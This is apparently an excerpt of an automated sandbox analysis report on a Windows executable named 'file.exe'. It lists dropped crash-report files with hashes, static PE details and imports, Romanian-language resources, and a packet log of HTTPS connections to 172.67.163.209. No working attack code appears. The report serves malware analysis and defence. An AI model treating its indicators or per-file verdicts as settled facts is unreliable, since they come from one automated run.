Preview:	MDMP..a..... .........$f............4...............H.......t...........t...N1..........`.......8...........T...........x=..............` ..........L"..............................................................................eJ......."......GenuineIntel............T.......d.....$f.............................0..2...............W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .S.u.m.m.e.r. .T.i.m.e...........................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERC985.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8372
Entropy (8bit):	3.681835128611137
Encrypted:	false
SSDEEP:	192:R6l7wVeJUC36b6Y9nSU9Jb8eugmf6B6xpNC89bgX1fVD9gm:R6lXJb6b6YNSU9FNugmf5RglfB
MD5:	79C259C87FDE278775E2855A91B46BD4
SHA1:	07E0B627950FA378C532294B2621902727503E4A
SHA-256:	D2CF83E46377EE72E3905C76748AC9451D2490E7B954091CDECF5292BFF86559
SHA-512:	15CDB6ADE0E7163A9988622D114C1855185A9B84206B94ABF8A283F1D875AE7FA36B065FAEE957934F7436898ABB323051C20BD810F22FCD746D93BE6091945E
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.2.4.4.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERC9A6.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4642
Entropy (8bit):	4.41299798087096
Encrypted:	false
SSDEEP:	48:cvIwWl8zsdJg77aI99KWpW8VYaTeYm8M4JiNFCFj+q8vjNF+yjuD0Md:uIjf3I7zr7VFJirQKjrhG0Md
MD5:	8CB24EE4CD215ED7A942195480452D87
SHA1:	72B4FB71785B733D561F192A9396A01EADF6E32E
SHA-256:	B1686B1439BDCD5EAA27217F49E5555FB35B75C459BD30FB9514B919C7C9ED38
SHA-512:	61818774A12C9F83598C11B4FBB127C1BC581B0453C737B148D4CBC1A7DD9E1F36F6D71EA341E641D9E3F22C80C58737EBA2F5C51A75E18F43592211283CE125
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="289303" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WERCBB7.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Sun Apr 21 06:41:03 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	1086218
Entropy (8bit):	1.0668474837505464
Encrypted:	false
SSDEEP:	768:Bz6jBMpr8Dq7Uyszu/DL7JAfDOjAr2lmvW2r5avzcAl1vMjnsejNHKiP0i2PQjIl:BzmaAfDOjVz8avzaFGFXNf312Js3Vkq
MD5:	954BDE84C976EF7438EDBDDFA6D3599B
SHA1:	7FA22C3BDA9026383E8651E805730773480DEA6C
SHA-256:	709763D708409AEDAD6B90F50AD2EB7F7670066A4F417F8378CAF4DEDACBE97E
SHA-512:	C7F49EEFE4BA40114DE0A65B794DBA7974DE1459EE99ACC2556C4BA4F50B67528B235BC75E7CB577E5836006C690DEEEC0A358396EEC652900945797ECD96828
Malicious:	false
Reputation:	low
Preview:	MDMP..a..... .........$f............4...............H.......t...............N1..........`.......8...........T...........P=...U..........` ..........L"..............................................................................eJ......."......GenuineIntel............T.......d.....$f.............................0..2...............W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .S.u.m.m.e.r. .T.i.m.e...........................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD107.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8414
Entropy (8bit):	3.690098547270439
Encrypted:	false
SSDEEP:	192:R6l7wVeJUCq6u6Y9LSU9Jb8eugmf6g56cIypDa89b2vsfiSm:R6lXJW6u6YBSU9FNugmfp56cp2Uf+
MD5:	0E7A6B607DD2A2552091A526E1592C0D
SHA1:	4D3B3FD074C66653D73C3D827386050DBF7D3A2E
SHA-256:	50A553AC9EA39AAB94D158727E1581D62ECB278F2574576928BFD2E17C39E5E5
SHA-512:	BEF23DFC32B478422AF84D23F16722E3691798BF0A5C00CDEE49B4F45F44CF7EE8EE4EAF4A34AC1920F3B08929A92E93131D61FD57252A5ED1A8C4E4EDEC65A8
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.2.4.4.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD127.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4696
Entropy (8bit):	4.453004243693197
Encrypted:	false
SSDEEP:	48:cvIwWl8zsdJg77aI99KWpW8VYYYm8M4JiNO0O3FMd+q8vjNO0OByjuD0td:uIjf3I7zr7VMJi/RdKj/PG0td
MD5:	809A682CE6E345AE4961419142C07B74
SHA1:	F6CB9134BCEB9C9821494B4B4EEAAC520ACA18D4
SHA-256:	0FFF88CBE40B8E119639AB9F4189A7A215EC0DE91C7288BF4F301B19254E525D
SHA-512:	EF8F1AE8B055FE52AC72B0E07C60EE780350B305B35F9DFC94B1F0DA1D4D4B3D3D668967FC0C98C158DF232134A367652357B2B4266B3EF94CFDF65570C7DC58
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="289303" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.465276674006023
Encrypted:	false
SSDEEP:	6144:7IXfpi67eLPU9skLmb0b4+WSPKaJG8nAgejZMMhA2gX4WABl0uNPdwBCswSb1:cXD94+WlLZMM6YFH1+1
MD5:	48CF9BD8336AF9D2438ABAE7596E79BA
SHA1:	17343E75A1E59EDCA940718ACA7BA844CA3DF63C
SHA-256:	8962545434ED8B7EEFC6692419BD4F1AD95EC8279F472A65D760C9A8B23ECDB6
SHA-512:	1BAE4BA825F92CA7884AA2EA48D504A9A380D79411E43F9CD1979193EDA2C9A73178F39AF628059272B3195E16F2C112668058AB0BFAE3106F95D6B7FD0D079C
Malicious:	false
Reputation:	low
Preview:	regf7...7....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.722526954299209
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	431'104 bytes
MD5:	0d86ddf0c76911fc888c0450f90c6f29
SHA1:	e074480d945cce752a586df7cca1dfea5baff533
SHA256:	07f56f9d4a21eb65c788a9a423af9205b01d2792563d6965ff8cb814be822524
SHA512:	bc998356b3dbbdb99019f9779f9d5862f103e5664060895aded835322cf12aefef341adee5ff24d4a576f68add05ed33df15b51048e92354f805e127907d0d89
SSDEEP:	6144:PcDrb47lkR5hQvqegHMPZgFz2L0CDnpHsYCTx:PSX47lsh0qLsRQz2HD5Sx
TLSH:	F0946C03B3E17D98E6264B329E1EC6E8761DF9509E493B76321E9F1F02B5072D263B11
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........................................./.......]..............w+..............w......Rich............PE..L....Gqd...................

File Icon


Icon Hash:	63716de961436e0f

Static PE Info

General

Entrypoint:	0x403b9f
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x647147D7 [Fri May 26 23:59:19 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	c6a29c2b2571c33a0a23fd650053529b

Entrypoint Preview

Instruction
call 00007F5868809080h
jmp 00007F58688025A5h
push 00000014h
push 00416DF0h
call 00007F58688062D0h
call 00007F5868809251h
movzx esi, ax
push 00000002h
call 00007F5868809013h
pop ecx
mov eax, 00005A4Dh
cmp word ptr [00400000h], ax
je 00007F58688025A6h
xor ebx, ebx
jmp 00007F58688025D5h
mov eax, dword ptr [0040003Ch]
cmp dword ptr [eax+00400000h], 00004550h
jne 00007F586880258Dh
mov ecx, 0000010Bh
cmp word ptr [eax+00400018h], cx
jne 00007F586880257Fh
xor ebx, ebx
cmp dword ptr [eax+00400074h], 0Eh
jbe 00007F58688025ABh
cmp dword ptr [eax+004000E8h], ebx
setne bl
mov dword ptr [ebp-1Ch], ebx
call 00007F5868805E44h
test eax, eax
jne 00007F58688025AAh
push 0000001Ch
call 00007F5868802681h
pop ecx
call 00007F5868805B80h
test eax, eax
jne 00007F58688025AAh
push 00000010h
call 00007F5868802670h
pop ecx
call 00007F586880908Ch
and dword ptr [ebp-04h], 00000000h
call 00007F586880810Ah
test eax, eax
jns 00007F58688025AAh
push 0000001Bh
call 00007F5868802656h
pop ecx
call dword ptr [004110C0h]
mov dword ptr [01A13D1Ch], eax
call 00007F58688090A7h
mov dword ptr [0044BC6Ch], eax
call 00007F5868808A4Ah
test eax, eax
jns 00007F58688025AAh

Rich Headers

Programming Language:

[ASM] VS2013 build 21005
[ C ] VS2013 build 21005
[C++] VS2013 build 21005
[IMP] VS2008 SP1 build 30729
[RES] VS2013 build 21005
[LNK] VS2013 UPD5 build 40629

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x17244	0x64	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x1614000	0x1f078	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x11200	0x38	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x16780	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x11000	0x194	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xf305	0xf400	16b09e909e0fb3a79ea70acb1a57cf85	False	0.6044761782786885	data	6.68121811830811	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x11000	0x6b98	0x6c00	b925d984c450ca16dc63999acb7a12c5	False	0.3947120949074074	data	4.776140278687859	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x18000	0x15fbd20	0x33e00	723ffe5b9f0ffa7b94dae012f74ba41a	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x1614000	0x1f078	0x1f200	7bf2e4fd9c8ed1974374cf152acbdc2b	False	0.3004047439759036	data	4.167703955462114	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_CURSOR	0x162dbd0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0			0.26439232409381663
RT_CURSOR	0x162ea78	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0			0.3686823104693141
RT_CURSOR	0x162f320	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0			0.49060693641618497
RT_CURSOR	0x162f8b8	0x130	Device independent bitmap graphic, 32 x 64 x 1, image size 0			0.4375
RT_CURSOR	0x162f9e8	0xb0	Device independent bitmap graphic, 16 x 32 x 1, image size 0			0.44886363636363635
RT_CURSOR	0x162fac0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0			0.27238805970149255
RT_CURSOR	0x1630968	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0			0.375
RT_CURSOR	0x1631210	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0			0.5057803468208093
RT_ICON	0x1614ab0	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Romanian	Romania	0.5339861751152074
RT_ICON	0x1615178	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Romanian	Romania	0.41244813278008297
RT_ICON	0x1617720	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Romanian	Romania	0.449468085106383
RT_ICON	0x1617bb8	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Romanian	Romania	0.5339861751152074
RT_ICON	0x1618280	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Romanian	Romania	0.41244813278008297
RT_ICON	0x161a828	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Romanian	Romania	0.449468085106383
RT_ICON	0x161acc0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Romanian	Romania	0.3694029850746269
RT_ICON	0x161bb68	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Romanian	Romania	0.4499097472924188
RT_ICON	0x161c410	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Romanian	Romania	0.4596774193548387
RT_ICON	0x161cad8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Romanian	Romania	0.45375722543352603
RT_ICON	0x161d040	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Romanian	Romania	0.2687759336099585
RT_ICON	0x161f5e8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Romanian	Romania	0.30651969981238275
RT_ICON	0x1620690	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Romanian	Romania	0.35726950354609927
RT_ICON	0x1620b60	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	Romanian	Romania	0.5170575692963753
RT_ICON	0x1621a08	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	Romanian	Romania	0.5045126353790613
RT_ICON	0x16222b0	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	Romanian	Romania	0.45910138248847926
RT_ICON	0x1622978	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	Romanian	Romania	0.47832369942196534
RT_ICON	0x1622ee0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216	Romanian	Romania	0.2794605809128631
RT_ICON	0x1625488	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096	Romanian	Romania	0.30816135084427765
RT_ICON	0x1626530	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304	Romanian	Romania	0.3389344262295082
RT_ICON	0x1626eb8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024	Romanian	Romania	0.36879432624113473
RT_ICON	0x1627398	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Romanian	Romania	0.27878464818763327
RT_ICON	0x1628240	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Romanian	Romania	0.36913357400722024
RT_ICON	0x1628ae8	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Romanian	Romania	0.3951612903225806
RT_ICON	0x16291b0	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Romanian	Romania	0.3901734104046243
RT_ICON	0x1629718	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Romanian	Romania	0.2744813278008299
RT_ICON	0x162bcc0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Romanian	Romania	0.3027673545966229
RT_ICON	0x162cd68	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Romanian	Romania	0.3221311475409836
RT_ICON	0x162d6f0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Romanian	Romania	0.35106382978723405
RT_DIALOG	0x1631998	0x52	data			0.8780487804878049
RT_STRING	0x16319f0	0x432	data	Romanian	Romania	0.45251396648044695
RT_STRING	0x1631e28	0x4d4	data	Romanian	Romania	0.44660194174757284
RT_STRING	0x1632300	0x13a	data	Romanian	Romania	0.5286624203821656
RT_STRING	0x1632440	0x30a	data	Romanian	Romania	0.47429305912596403
RT_STRING	0x1632750	0x638	data	Romanian	Romania	0.43027638190954776
RT_STRING	0x1632d88	0x2ec	data	Romanian	Romania	0.47058823529411764
RT_GROUP_CURSOR	0x162f888	0x30	data			0.9375
RT_GROUP_CURSOR	0x162fa98	0x22	data			1.0588235294117647
RT_GROUP_CURSOR	0x1631778	0x30	data			0.9375
RT_GROUP_ICON	0x1617b88	0x30	data	Romanian	Romania	0.9375
RT_GROUP_ICON	0x1620af8	0x68	data	Romanian	Romania	0.7115384615384616
RT_GROUP_ICON	0x161ac90	0x30	data	Romanian	Romania	1.0
RT_GROUP_ICON	0x1627320	0x76	data	Romanian	Romania	0.6779661016949152
RT_GROUP_ICON	0x162db58	0x76	data	Romanian	Romania	0.6864406779661016
RT_VERSION	0x16317a8	0x1ec	data			0.5386178861788617

Imports

DLL	Import
KERNEL32.dll	LocalCompact, GetUserDefaultLCID, AddConsoleAliasW, CreateHardLinkA, GetTickCount, EnumTimeFormatsW, FindResourceExA, GetVolumeInformationA, LoadLibraryW, CopyFileW, WriteConsoleW, GetCompressedFileSizeA, GetTempPathW, SetThreadLocale, GetLastError, SetLastError, GetProcAddress, GetLocaleInfoA, SetStdHandle, SetFileAttributesA, WriteConsoleA, InterlockedExchangeAdd, LocalAlloc, SetCalendarInfoW, GetExitCodeThread, RemoveDirectoryW, AddAtomA, GlobalFindAtomW, GetModuleFileNameA, GetOEMCP, GlobalUnWire, LoadLibraryExA, ReadConsoleInputW, GetWindowsDirectoryW, AddConsoleAliasA, GetComputerNameA, FindFirstChangeNotificationW, CreateTimerQueueTimer, GetSystemDefaultLangID, OutputDebugStringW, HeapFree, EncodePointer, DecodePointer, IsProcessorFeaturePresent, GetCommandLineA, RaiseException, RtlUnwind, IsValidCodePage, GetACP, GetCPInfo, GetCurrentThreadId, IsDebuggerPresent, GetProcessHeap, ExitProcess, GetModuleHandleExW, MultiByteToWideChar, WideCharToMultiByte, HeapSize, EnterCriticalSection, LeaveCriticalSection, GetStdHandle, GetFileType, DeleteCriticalSection, GetStartupInfoW, CloseHandle, HeapAlloc, WriteFile, GetModuleFileNameW, QueryPerformanceCounter, GetCurrentProcessId, GetSystemTimeAsFileTime, GetEnvironmentStringsW, FreeEnvironmentStringsW, UnhandledExceptionFilter, SetUnhandledExceptionFilter, InitializeCriticalSectionAndSpinCount, Sleep, GetCurrentProcess, TerminateProcess, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, GetModuleHandleW, GetStringTypeW, LoadLibraryExW, HeapReAlloc, ReadFile, SetFilePointerEx, LCMapStringW, GetConsoleCP, GetConsoleMode, FlushFileBuffers, CreateFileW
GDI32.dll	GetCharacterPlacementW
ADVAPI32.dll	DeregisterEventSource
WINHTTP.dll	WinHttpConnect

Possible Origin

Language of compilation system	Country where language is spoken	Map
Romanian	Romania

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 21, 2024 08:40:54.730875969 CEST	49730	443	192.168.2.4	172.67.163.209
Apr 21, 2024 08:40:54.730957031 CEST	443	49730	172.67.163.209	192.168.2.4
Apr 21, 2024 08:40:54.731077909 CEST	49730	443	192.168.2.4	172.67.163.209
Apr 21, 2024 08:40:54.734648943 CEST	49730	443	192.168.2.4	172.67.163.209
Apr 21, 2024 08:40:54.734678984 CEST	443	49730	172.67.163.209	192.168.2.4
Apr 21, 2024 08:40:54.972932100 CEST	443	49730	172.67.163.209	192.168.2.4
Apr 21, 2024 08:40:54.973031044 CEST	49730	443	192.168.2.4	172.67.163.209
Apr 21, 2024 08:40:54.975605965 CEST	49730	443	192.168.2.4	172.67.163.209
Apr 21, 2024 08:40:54.975625992 CEST	443	49730	172.67.163.209	192.168.2.4
Apr 21, 2024 08:40:54.976042986 CEST	443	49730	172.67.163.209	192.168.2.4
Apr 21, 2024 08:40:55.018754005 CEST	49730	443	192.168.2.4	172.67.163.209
Apr 21, 2024 08:40:55.028594971 CEST	49730	443	192.168.2.4	172.67.163.209
Apr 21, 2024 08:40:55.028635979 CEST	49730	443	192.168.2.4	172.67.163.209
Apr 21, 2024 08:40:55.028789043 CEST	443	49730	172.67.163.209	192.168.2.4
Apr 21, 2024 08:40:55.505143881 CEST	443	49730	172.67.163.209	192.168.2.4
Apr 21, 2024 08:40:55.505354881 CEST	443	49730	172.67.163.209	192.168.2.4
Apr 21, 2024 08:40:55.505569935 CEST	49730	443	192.168.2.4	172.67.163.209
Apr 21, 2024 08:40:55.507550955 CEST	49730	443	192.168.2.4	172.67.163.209
Apr 21, 2024 08:40:55.507592916 CEST	443	49730	172.67.163.209	192.168.2.4
Apr 21, 2024 08:40:55.533015966 CEST	49731	443	192.168.2.4	172.67.163.209
Apr 21, 2024 08:40:55.533098936 CEST	443	49731	172.67.163.209	192.168.2.4
Apr 21, 2024 08:40:55.533212900 CEST	49731	443	192.168.2.4	172.67.163.209
Apr 21, 2024 08:40:55.533492088 CEST	49731	443	192.168.2.4	172.67.163.209
Apr 21, 2024 08:40:55.533520937 CEST	443	49731	172.67.163.209	192.168.2.4
Apr 21, 2024 08:40:55.760785103 CEST	443	49731	172.67.163.209	192.168.2.4
Apr 21, 2024 08:40:55.761236906 CEST	49731	443	192.168.2.4	172.67.163.209
Apr 21, 2024 08:40:55.762660980 CEST	49731	443	192.168.2.4	172.67.163.209
Apr 21, 2024 08:40:55.762691021 CEST	443	49731	172.67.163.209	192.168.2.4
Apr 21, 2024 08:40:55.763751030 CEST	443	49731	172.67.163.209	192.168.2.4
Apr 21, 2024 08:40:55.765429974 CEST	49731	443	192.168.2.4	172.67.163.209
Apr 21, 2024 08:40:55.765430927 CEST	49731	443	192.168.2.4	172.67.163.209
Apr 21, 2024 08:40:55.765532970 CEST	443	49731	172.67.163.209	192.168.2.4
Apr 21, 2024 08:40:56.302128077 CEST	443	49731	172.67.163.209	192.168.2.4
Apr 21, 2024 08:40:56.302189112 CEST	443	49731	172.67.163.209	192.168.2.4
Apr 21, 2024 08:40:56.302234888 CEST	443	49731	172.67.163.209	192.168.2.4
Apr 21, 2024 08:40:56.302253008 CEST	49731	443	192.168.2.4	172.67.163.209
Apr 21, 2024 08:40:56.302270889 CEST	443	49731	172.67.163.209	192.168.2.4
Apr 21, 2024 08:40:56.302285910 CEST	443	49731	172.67.163.209	192.168.2.4
Apr 21, 2024 08:40:56.302334070 CEST	49731	443	192.168.2.4	172.67.163.209
Apr 21, 2024 08:40:56.302354097 CEST	443	49731	172.67.163.209	192.168.2.4
Apr 21, 2024 08:40:56.302400112 CEST	443	49731	172.67.163.209	192.168.2.4
Apr 21, 2024 08:40:56.302402020 CEST	49731	443	192.168.2.4	172.67.163.209
Apr 21, 2024 08:40:56.302413940 CEST	443	49731	172.67.163.209	192.168.2.4
Apr 21, 2024 08:40:56.302473068 CEST	49731	443	192.168.2.4	172.67.163.209
